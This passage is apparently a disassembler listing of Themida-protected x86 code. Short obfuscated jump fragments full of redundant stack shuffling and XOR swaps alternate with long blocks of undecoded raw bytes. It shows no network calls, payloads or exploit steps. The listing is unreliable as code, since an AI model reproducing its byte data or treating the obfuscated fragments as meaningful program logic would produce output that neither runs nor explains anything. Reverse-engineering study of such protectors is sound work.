		dd 222BC181h, 34FF237Ah, 0B6CCE924h, 487FFFFh, 24248B24h
		dd 7668E9h, 14BF5700h, 2963301Ah, 8FECE9F8h, 0D3290000h
		dd 0E7C3815Ah, 0E951AC3Ah, 0FFFF9738h
; ---------------------------------------------------------------------------


loc_55A054:				; CODE XREF: Themida_:00561EC3j
		push	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_5576F3
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4EC81h, 24890000h, 24048124h, 4, 8B2434FFh, 81E9241Ch
		dd 81000060h, 6074C5C3h, 1A57E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A086:				; CODE XREF: Themida_:00562690j
		add	ebx, 13F3F851h
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_5596B4
; ---------------------------------------------------------------------------
		db 0ADh, 50h, 89h
		dd 405E0h, 0E8830000h, 24048704h, 1325E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A0AE:				; CODE XREF: Themida_:00555362j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55FB45
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 7BBAFF3h,	0EFED81C1h, 5779E311h, 735EFBFh
		dd 0E9FD011Ah, 92DEh, 0ED81F501h, 25D84EFCh, 76FE95Eh
		dd 0D4300000h, 0EA80E230h, 55DFE9C2h, 0C1580000h, 0C38108E3h
		dd 1200FD9Eh, 515BD829h, 601EE0B9h, 59C8012Bh, 0FFB0BCE9h
		dd 0EF8766FFh, 0E9D5F766h, 7C60h, 920E8FB8h, 58C70914h
		dd 6F5DF781h, 0EFC115D8h, 48CA6807h, 1C890000h,	0F10BB24h
		dd 0DF012099h, 0C781475Bh, 18A6D75Bh, 815FFD01h, 0F5D9A9F5h
		dd 0FFEF01B0h, 0E95D2434h, 0FFFFA195h, 0FF240489h, 0FF042474h
		dd 0E9582434h, 0FFFFD563h, 5C243487h, 4EE81h, 34330000h
		dd 24343124h, 5C243433h, 0E9243C89h, 0FFFF843Ch, 4AF2BB53h
		dd 0E95709F2h, 9EBBh, 734C868h,	21BD5B4Eh, 29AC7893h, 0C5835BDDh
		dd 0E9DDF701h, 33Fh
; ---------------------------------------------------------------------------


loc_55A1B8:				; CODE XREF: Themida_:005630A4j
		xchg	esi, [esp]
		pop	esp
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_558E8B
; ---------------------------------------------------------------------------
		dd 33240C31h, 248B240Ch, 0B0DAE924h, 4890000h, 0C08FB024h
		dd 570403E8h, 48BC530h,	4C48324h, 8408E9h, 5FF80100h, 83242C8Bh
		dd 0C73104C4h, 0FFF83158h, 815F2434h, 4C4h, 7D55E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A20E:				; CODE XREF: Themida_:0055C6A2j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 62713871h
		xor	[esp+4], ebp
		push	dword ptr [esp]
		jmp	loc_55A72A
; ---------------------------------------------------------------------------


loc_55A22B:				; CODE XREF: Themida_:0055656Fj
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dd 2F0CF02Dh, 55492D7Ch, 0A10534E7h, 57651D59h,	1856C0BFh
		dd 0FAB95152h, 560ABD0Bh, 5471E9h, 0FF535A00h, 8B042474h
		dd 5453241Ch, 48FD685Bh, 4890000h, 0E9EB824h, 0F8E91BD4h
		dd 0AC00006Ch, 0B4F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A275:				; CODE XREF: Themida_:0055F12Aj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	ebp, 8BAF7B5Ch
		jmp	loc_566A7F
; ---------------------------------------------------------------------------
		dd 815EF201h, 0D46236EAh, 81FA011Ah, 0D46236C2h, 53B6E91Ah
		dd 15E0000h, 2D93E9CDh,	3FE90000h, 0FFFFFF74h, 148B2434h
		dd 382FE924h, 8A350000h, 0E97F5123h, 0B66h
; ---------------------------------------------------------------------------


loc_55A2C4:				; CODE XREF: Themida_:00560E4Cj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0A787E972h
		add	ecx, ebx
		jmp	loc_552909
; ---------------------------------------------------------------------------


loc_55A2D4:				; CODE XREF: Themida_:0055361Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebp, ecx
		xor	ecx, ebp
		jmp	loc_55D683
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 360B68h, 240C8900h, 0FFB148E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A2FD:				; CODE XREF: Themida_:0055B484j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 409158DEh
		push	ebx
		mov	ebx, 63D948E3h
		jmp	loc_566357
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9220404h, 0FFFFFC1Eh, 81240489h, 7DB242Ch,	478F3C73h
		dd 40478140h, 3C7307DBh, 0FF2434FFh, 48B2434h, 4C48124h
		dd 0E9000000h, 7299h, 875AD029h, 0E95C2404h, 0FFFFFD09h
; ---------------------------------------------------------------------------


loc_55A354:				; CODE XREF: Themida_:00554216j
		xchg	al, cl
		not	cl
		shr	cl, 6
		jmp	loc_563AC4
; ---------------------------------------------------------------------------


loc_55A360:				; CODE XREF: Themida_:005557E4j
		pop	ecx
		add	edx, 72062C50h
		jmp	loc_554139
; ---------------------------------------------------------------------------


loc_55A36C:				; CODE XREF: Themida_:0055F653j
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	0BB9h
		jmp	loc_56222D
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 0FFC57CE9h, 0F78147FFh, 5852851h, 311DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A3A1:				; CODE XREF: Themida_:0056459Ej
		xor	ecx, 163E79B4h
		jmp	loc_5662CF
; ---------------------------------------------------------------------------
		dd 0AEE908B0h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3B3:				; CODE XREF: Themida_:005564D8j
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, 48E32FBh
		not	edi
		inc	edi
		or	edi, 5F71301h
		jmp	loc_561C26
; ---------------------------------------------------------------------------
		dd 10D46855h, 0F75D1CC5h, 4EDC1DDh, 2F1CED81h, 0A6E94F7Ch
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A3E3:				; CODE XREF: Themida_:00560886j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55A7BA
		push	5964h
		jmp	loc_564816
; ---------------------------------------------------------------------------


loc_55A407:				; CODE XREF: Themida_:00555833j
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 10000h
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_55BCCC
; ---------------------------------------------------------------------------
		db 53h,	83h, 0ECh
		dd 0BC1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A42E:				; CODE XREF: Themida_:005580E7j
		dec	ebx
		push	143Fh
		mov	[esp], eax
		mov	eax, 12051E7Fh
		push	edi
		mov	edi, 77442E57h
		shl	edi, 1
		dec	edi
		shr	edi, 4
		sub	edi, 1
		and	edi, 2C773F0Fh
		push	esi
		mov	esi, 1EF3132Fh
		inc	esi
		dec	esi
		sub	esi, 0E47487Ah
		not	esi
		shr	esi, 6
		sub	esi, 0C4A1830Bh
		sub	edi, esi
		pop	esi
		jmp	loc_565036
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 8DEAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A47A:				; CODE XREF: Themida_:00561785j
		push	58A6h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3F846A32h
		push	5980h
		mov	[esp], esi
		push	edx
		mov	edx, 2F595F4Dh
		jmp	loc_5669D8
; ---------------------------------------------------------------------------


loc_55A4A0:				; CODE XREF: Themida_:00557355j
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_56197A
; ---------------------------------------------------------------------------


loc_55A4B5:				; CODE XREF: Themida_:00564950j
		mov	eax, [esp]
		push	edi
		jmp	loc_554328
; ---------------------------------------------------------------------------
		dw 8FBFh
		dd 0F76CC24Eh, 0C1EFD1D7h, 0D7F707EFh, 0C02FEF81h, 0F801F0B1h
		dd 0E7BA525Fh, 4A43F10Eh, 41B3BD55h, 0EA311C03h, 0D5D2E95Dh
		dd 0E95BFFFFh, 0B3Bh, 16E98DB7h, 810000A5h, 5409AEF5h
		dd 0C72FE92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A502:				; CODE XREF: Themida_:0056179Cj
		sub	ecx, eax
		pop	eax
		push	32B0h
		mov	[esp], edx
		jmp	loc_5624FB
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4C78124h, 33000000h,	0E5E9243Ch
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A523:				; CODE XREF: Themida_:0055BEB5j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	1F92h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55DF6B
; ---------------------------------------------------------------------------


loc_55A54B:				; CODE XREF: Themida_:00562142j
		shl	esi, 5
		jmp	loc_5532AC
; ---------------------------------------------------------------------------
aIulSd		db '‰î‹,$é„À',0
		dd 0F7816600h, 31664403h, 0A2E95FFEh
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A56B:				; CODE XREF: Themida_:00566D31j
		mov	ebp, 369C2530h
		xor	ebp, 400E129Bh
		push	ebx
		mov	ebx, 6D0D4230h
		sub	ebx, 7CD67DAFh
		jmp	loc_55F122
; ---------------------------------------------------------------------------
		db 53h
		dd 0F6241486h, 241486D2h, 80DE865Bh, 0EEC0FFEEh, 88F68006h
		dd 5AF500h, 0B60F59EBh,	148B66C0h, 67A66824h, 0AEE90000h
		dd 89000019h, 4812424h,	424h, 0BD555800h, 4, 0B078E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A5C9:				; CODE XREF: Themida_:0056204Cj
		pop	esp
		jmp	loc_5660C2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C781D7F7h, 4C7A6963h, 8B04E9h, 0C1835E00h, 5F7BE9FFh
		dd 0C4810000h, 4, 0E9240401h, 791Bh, 0E92434FFh, 0B8D1h
		dd 4C481h, 0C1810000h, 4, 0A497E9h, 2434FF00h, 4C4835Dh
		dd 555A5452h, 89485EBDh, 0C1C5817Ah, 0C145FC58h, 0E58108E5h
		dd 9EF1207h, 46F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A631:				; CODE XREF: Themida_:005614D5j
		push	esi
		mov	esi, 33D56146h
		shl	esi, 8
		jmp	loc_555DB4
; ---------------------------------------------------------------------------


loc_55A63F:				; CODE XREF: Themida_:005657FFj
		mov	dl, bl
		pop	ebx
		pop	ecx
		mov	bh, dl
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		not	bh
		push	6753h
		mov	[esp], ecx
		push	edx
		mov	dl, bh
		mov	cl, dl
		pop	edx
		mov	dl, cl
		jmp	loc_5571DD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 37E9BB53h, 0CB817AD0h, 24713FD6h, 0F381D3F7h
		dd 5AA75FE1h, 64ABBD55h, 0E58109C0h, 79A96B80h,	40A5E581h
		dd 0E4E92507h, 890000AAh, 2BBD55E3h, 507E2174h,	0EE2140B8h
		dd 58C52149h, 1520E581h, 0E8E93656h, 89FFFF97h,	243C8BF9h
		dd 4C481h, 0C8890000h, 24440159h, 24048B04h, 0FFC379E9h
		dd 20E954FFh, 830000A0h, 148704C2h, 3DE95C24h, 0F6FFFF9Dh
		dd 0EC380DBh, 0FFF44BE9h, 0BE959FFh
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A6EF:				; CODE XREF: Themida_:0055AADFj
		mov	[esp], edi
		mov	edi, esp
		push	0B31h
		mov	[esp], ebx
		mov	ebx, 456440F6h
		push	ebp
		mov	ebp, 33F86427h
		xor	ebx, ebp
		pop	ebp
		xor	ebx, 769C24D5h
		add	edi, 68956CCCh
		add	edi, ebx
		sub	edi, 68956CCCh
		jmp	loc_5571AD
; ---------------------------------------------------------------------------
		db 87h
		dd 7FFCE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A72A:				; CODE XREF: Themida_:0055A226j
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_561B55
; ---------------------------------------------------------------------------


loc_55A74B:				; CODE XREF: Themida_:005523D7j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 198930ACh
		push	7031h
		mov	[esp], ebp
		mov	ebp, 2BE54496h
		sub	esi, ebp
		jmp	loc_556B05
; ---------------------------------------------------------------------------
		dw 8B5Fh
		dd 5457240Ch, 4C7815Fh,	53000000h, 4BBh, 0E9DF0100h, 0C536h
		dd 4808E0C1h, 0D0F7D8F7h, 756FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A791:				; CODE XREF: Themida_:00565435j
		pop	esp
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 1D88742Dh
		sub	ebx, 1D887429h
		add	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_553190
; ---------------------------------------------------------------------------


loc_55A7B1:				; CODE XREF: Themida_:00565E01j
		mov	esi, [esp]
		add	esp, 4


loc_55A7BA:				; CODE XREF: Themida_:005580B8j
					; Themida_:0055A3F7j
		sub	esp, 4
		jmp	loc_55C69A
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 1819A105h, 58C1011Ah, 8704E983h, 248B240Ch, 24048924h
		dd 0E904EC83h, 44Fh
; ---------------------------------------------------------------------------


loc_55A7E0:				; CODE XREF: Themida_:0055D09Ej
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 68C30291h
		shl	ebp, 3
		shl	ebp, 3
		jmp	loc_5601E2
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 93EF81h, 0FD01F8CCh,	4B15E9h, 57D8F700h, 785018BFh
		dd 5FF8297Fh, 5304E0C1h, 0FFB80AE9h, 0E9C221FFh, 0A1DAh
; ---------------------------------------------------------------------------


loc_55A828:				; CODE XREF: Themida_:00562209j
		sub	al, 5Eh
		pop	ebx
		mov	ch, al
		pop	eax
		shl	ch, 4
		dec	ch
		push	ax
		jmp	loc_563F08
; ---------------------------------------------------------------------------
		dw 0DA87h
		dd 0E908E2C1h, 0FFFFBBFCh, 89C58955h, 34FF5DE9h, 0E9515824h
		dd 0FFFFEADCh, 0D788E288h, 8124148Bh, 4C4h, 0F8305800h
		dd 0FFD9F3E9h, 74FF55FFh, 0F8E90424h, 87000004h, 248B2414h
		dd 243C8924h, 81E68956h, 4C6h, 5261E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A88A:				; CODE XREF: Themida_:00560C51j
		not	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_5582C9
; ---------------------------------------------------------------------------
		db 86h
		dd 2EC83F3h, 240C8966h,	88D88850h, 5C8A58C1h, 89E90224h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A8AF:				; CODE XREF: Themida_:0056479Bj
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		sub	esp, 4
		jmp	loc_552D96
; ---------------------------------------------------------------------------
aXXsas		db 'X!ÃXé™',0
		dw 5700h
		dd 0F260A3BFh, 8BFA2917h, 0C481243Ch, 4, 4C59B850h, 0C2315A31h
		dd 0EBBB5358h, 0F70D1A05h, 4EBC1D3h, 7731F381h,	99E920A9h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A907:				; CODE XREF: Themida_:00551767j
		pop	ebx
		pop	eax
		add	dl, al
		mov	eax, [esp]
		jmp	loc_5626B2
; ---------------------------------------------------------------------------


loc_55A913:				; CODE XREF: Themida_:00561ACBj
		inc	ecx
		add	ecx, 1
		add	ecx, 0EF3246ABh
		inc	ecx
		push	edx
		mov	edx, 606F24A8h
		jmp	loc_555367
; ---------------------------------------------------------------------------
		dd 68241C89h, 324Eh, 81242489h,	42404h,	6EE90000h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A943:				; CODE XREF: Themida_:0055599Ej
		add	dword ptr [esp], 52DA49AAh
		pop	edx
		sub	edx, 52DA49AAh
		push	dword ptr [esp]
		pop	ebx
		push	6FC0h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_553F0B
; ---------------------------------------------------------------------------
		db 9, 0EEh, 8Bh
		dd 0C481242Ch, 4, 2414F756h, 36C6815Eh,	55136807h, 8ABCE9h
		dd 34FF5A00h, 0DAEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A992:				; CODE XREF: Themida_:0055D08Fj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_563CAF
; ---------------------------------------------------------------------------
a_sde		db '_éDe',0
		align 2
		dw 24B5h
		dd 5966E828h, 29E9F828h, 8B0000B1h, 0C483241Ch,	4C38104h
		dd 81000000h, 4C3h, 241C8700h, 0E9D8295Ch, 0FFFF8740h
; ---------------------------------------------------------------------------


loc_55A9D0:				; CODE XREF: Themida_:0055F0CBj
		add	esp, 4
		mov	bh, cl
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_561401
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF9F01h, 590460B9h, 81D9F706h, 0A85694E9h, 0E9C1490Bh
		dd 0E9814108h, 9453CEB7h, 88DAE9h, 241C8900h, 0F780F5B7h
		dd 0E9DFF66Bh, 7F12h, 34510505h, 2434FF73h, 0FF95B2E9h
		dd 0A1DD35FFh, 0C789ACB3h, 8BF90158h, 0C481243Ch, 4, 1277BB53h
		dd 56686C70h, 89000025h, 62BE2434h, 0C1218E7Ch,	0F68105EEh
		dd 6D7C6196h, 0B454E9h,	243C8B00h, 5204C483h, 4BAh, 0A9C78100h
		dd 0E919FE33h, 0B754h, 14FE68h,	24248900h, 4240481h, 5D000000h
		dd 4C581h, 0E9530000h, 5379h
; ---------------------------------------------------------------------------


loc_55AAA4:				; CODE XREF: Themida_:005594F0j
		mov	ebp, edi
		pop	edi
		mov	edx, 3E2F5861h
		xor	edx, ebp
		pop	ebp
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_5564FF
; ---------------------------------------------------------------------------
		dd 4C481h, 0E5C10000h, 215BE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AAD2:				; CODE XREF: Themida_:0055D689j
		xor	ecx, ebp
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	7E6Ch
		jmp	loc_55A6EF
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 0A74B824h,	96BB7494h, 1F995F6h, 0F608E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AAFE:				; CODE XREF: Themida_:00556671j
		shl	dh, 1
		xor	dh, 31h
		add	dh, 0D5h
		sub	al, 76h
		add	al, 6Eh
		add	al, dh
		sub	al, 6Eh
		push	ebx
		mov	bh, 76h
		jmp	loc_557ADA
; ---------------------------------------------------------------------------
		dw 0DEBFh
		dd 819BD9B6h, 0FC13D7EBh, 97EB8150h, 81238D75h,	0C52BCC3h
		dd 50FB292Fh, 245371B8h, 4F0D406Dh, 0C160F667h,	0B0E906E0h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB43:				; CODE XREF: Themida_:0055658Ej
		push	25B53551h
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 25B53151h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_558B6D
; ---------------------------------------------------------------------------
		dd 0FF6B81E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB6D:				; CODE XREF: Themida_:0055D299j
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_566119
; ---------------------------------------------------------------------------


loc_55AB79:				; CODE XREF: Themida_:0055FF81j
		push	edi
		mov	edi, esp
		push	eax
		jmp	loc_561AB4
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 36E9EB88h,	0F7FFFFAEh, 0D9BE56D2h,	0D1604D75h
		dd 0E4F681EEh, 8176C804h, 0D50DA4EEh, 0B6F68155h, 1F80DF4h
		dd 35E95EF2h, 81FFFF73h, 8E6468EEh, 8264E979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ABBE:				; CODE XREF: Themida_:00560B71j
		add	eax, 7F3E6A9Dh
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_564EA7
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 2C78100h, 87000000h, 248B243Ch, 0C0B60F24h
		dd 568734FFh, 8AFBE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABF6:				; CODE XREF: Themida_:00564DE5j
		sub	edi, 0DF807DD9h
		sub	ebx, 5164457Eh
		sub	ebx, edi
		jmp	loc_566519
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 6Ah
		dd 0F7FFFFE6h, 0CCE952DEh, 5AFFFFA7h, 0E9240C87h, 9824h
		dd 5BD8895Dh, 4E4DEB81h, 34E9147Fh, 89FFFFBDh, 4812424h
		dd 424h, 24048B00h, 7F2CE9h, 88BF5700h,	0E97DA273h, 0AEBAh
		dd 0C8BCF01h, 4C48324h,	8704EF83h, 895C243Ch, 21E92404h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AC63:				; CODE XREF: Themida_:00559C33j
		mov	esi, 80714Fh
		sub	ebx, esi
		pop	esi
		add	edi, ebx
		jmp	loc_55AE48
; ---------------------------------------------------------------------------
		dw 489h
		dd 1F7F6824h, 92E917C4h, 83000058h, 3DE904C4h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC87:				; CODE XREF: Themida_:0056638Ej
		push	esi
		push	esp
		jmp	loc_5663A3
; ---------------------------------------------------------------------------


loc_55AC8E:				; CODE XREF: Themida_:0055FB48j
		push	edx
		push	eax
		mov	eax, 2E2E6191h
		mov	edx, 4BDB0D99h
		xor	edx, eax
		pop	eax
		or	edx, 55120117h
		shr	edx, 7
		xchg	esi, edx
		jmp	loc_562E84
; ---------------------------------------------------------------------------
		db 29h,	14h, 24h
		dd 6E6CE95Ah, 8142FFFFh, 3946ACF2h, 5AD3294Bh, 96A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ACC5:				; CODE XREF: Themida_:0056281Cj
		sub	ecx, 4
		jmp	loc_552C40
; ---------------------------------------------------------------------------
		dd 0BFE9C329h, 59FFFF92h, 348BF501h, 4C48124h, 81000000h
		dd 0DF211AEDh, 68C52939h, 0A6Eh, 0BA241489h, 39DF211Ah
		dd 148BD501h, 4C48324h,	47D9BE56h, 0F5295322h, 24048B5Eh
		dd 0E9E38953h, 0FFFF959Eh, 0E959CD31h, 3C8Eh, 61E9BD55h
		dd 0CE906B2h, 5000008h,	3871296Ah, 87FE9h, 0B7E95C00h
		dd 89FFFF69h, 0E952241Ch, 6E05h
; ---------------------------------------------------------------------------


loc_55AD40:				; CODE XREF: Themida_:0056433Bj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_562857
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5FD2E681h, 0EEC13B31h, 0D42AE907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AD62:				; CODE XREF: Themida_:005589F0j
		pop	edi
		add	eax, 4
		jmp	loc_552CF4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 8B24048Fh, 0F9F62424h, 0CCB60F66h, 1E9BE9h
		dd 48B0BF00h, 71E973D6h, 0D000078h, 77F441ACh, 609BE9h
		dd 24248B00h, 0EAE9C330h, 0F7000002h, 0DE4435D0h, 0C301FF03h
		dd 4C38158h, 87000000h,	8F5C241Ch, 248B2404h, 242CD324h
		dd 0F4E4E99Ch, 0C380FFFFh, 80E300E4h, 0ABE9E4EBh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ADD3:				; CODE XREF: Themida_:00564B2Aj
		add	eax, ebx
		jmp	loc_566C02
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BA241489h, 2, 1BDAEB81h,	40E923E1h, 89000067h, 0B1682404h
		dd 89000042h, 4812424h,	424h, 0BA525800h, 6942BC3h, 0D441C281h
		dd 0D001F96Bh, 11E9555Ah, 0FFFFFFC2h, 669D1C77h, 2414D359h
		dd 68C4E99Ch, 0B42DFFFFh, 156B006h, 0FB2958C7h,	55C3015Fh
		dd 0CA26B4BDh, 29C5813Fh, 0E9E45D1Dh, 53F1h
; ---------------------------------------------------------------------------


loc_55AE48:				; CODE XREF: Themida_:0055AC6Dj
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_55230B
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 3334D6BFh, 9BD4E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AE5E:				; CODE XREF: Themida_:00557A77j
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	1D16h
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 81h
		dd 951C9FF3h, 34EB8131h, 0E9104E51h, 454Ch
; ---------------------------------------------------------------------------


loc_55AE84:				; CODE XREF: Themida_:0055E140j
		pop	ebx
		not	ebx
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		push	29CFh
		mov	[esp], eax
		push	57ACh
		mov	[esp], esi
		mov	eax, [esp]
		jmp	loc_559501
; ---------------------------------------------------------------------------
		db 68h,	18h, 1Ch
		dd 8F540000h, 52512404h, 22A4B850h, 0C2895F73h,	33B4B958h
		dd 0E9413EDBh, 0FFFF9290h, 148BD029h, 4C48124h,	0E9000000h
		dd 1D10h
; ---------------------------------------------------------------------------


loc_55AED4:				; CODE XREF: Themida_:00558769j
		mov	edx, 54414451h
		sub	edx, 5441444Dh
		jmp	loc_55DF52
; ---------------------------------------------------------------------------
		dd 4EC8355h, 0E9243489h, 4530h,	55243489h, 0D5753268h
		dd 8B4DE948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AEFE:				; CODE XREF: Themida_:00552D39j
		add	esp, 4
		push	0BE7h
		mov	[esp], esi
		mov	esi, 2
		add	edx, 0BC64FA2h
		sub	edx, esi
		sub	edx, 0BC64FA2h
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2454F653h, 2FE95B01h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AF43:				; CODE XREF: Themida_:0055E2CCj
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ecx, 28C90053h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_559485
; ---------------------------------------------------------------------------


loc_55AF85:				; CODE XREF: Themida_:00552F0Fj
		dec	ah
		push	cx
		mov	ch, 6Fh
		sub	ah, 40h
		add	ah, ch
		add	ah, 40h
		pop	cx
		jmp	loc_56286D
; ---------------------------------------------------------------------------


loc_55AF9A:				; CODE XREF: Themida_:00562544j
		xor	eax, edi
		sub	esp, 4
		mov	[esp], edi
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		xchg	edi, [esp]
		pop	edi
		jmp	loc_561557
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0BD550000h, 33F67E2Bh, 15DEE29h, 2BC681CEh, 5933F67Eh
		dd 1B3668h, 242C8900h, 1BA8B951h, 0C18146ABh, 636F5064h
		dd 150CC181h, 0DBE976E6h, 89FFFFD4h, 0B0BD242Ch, 8900430Ah
		dd 0E3C15DEBh, 4AD38704h, 0FE9D387h, 81FFFFEBh,	1068D9C6h
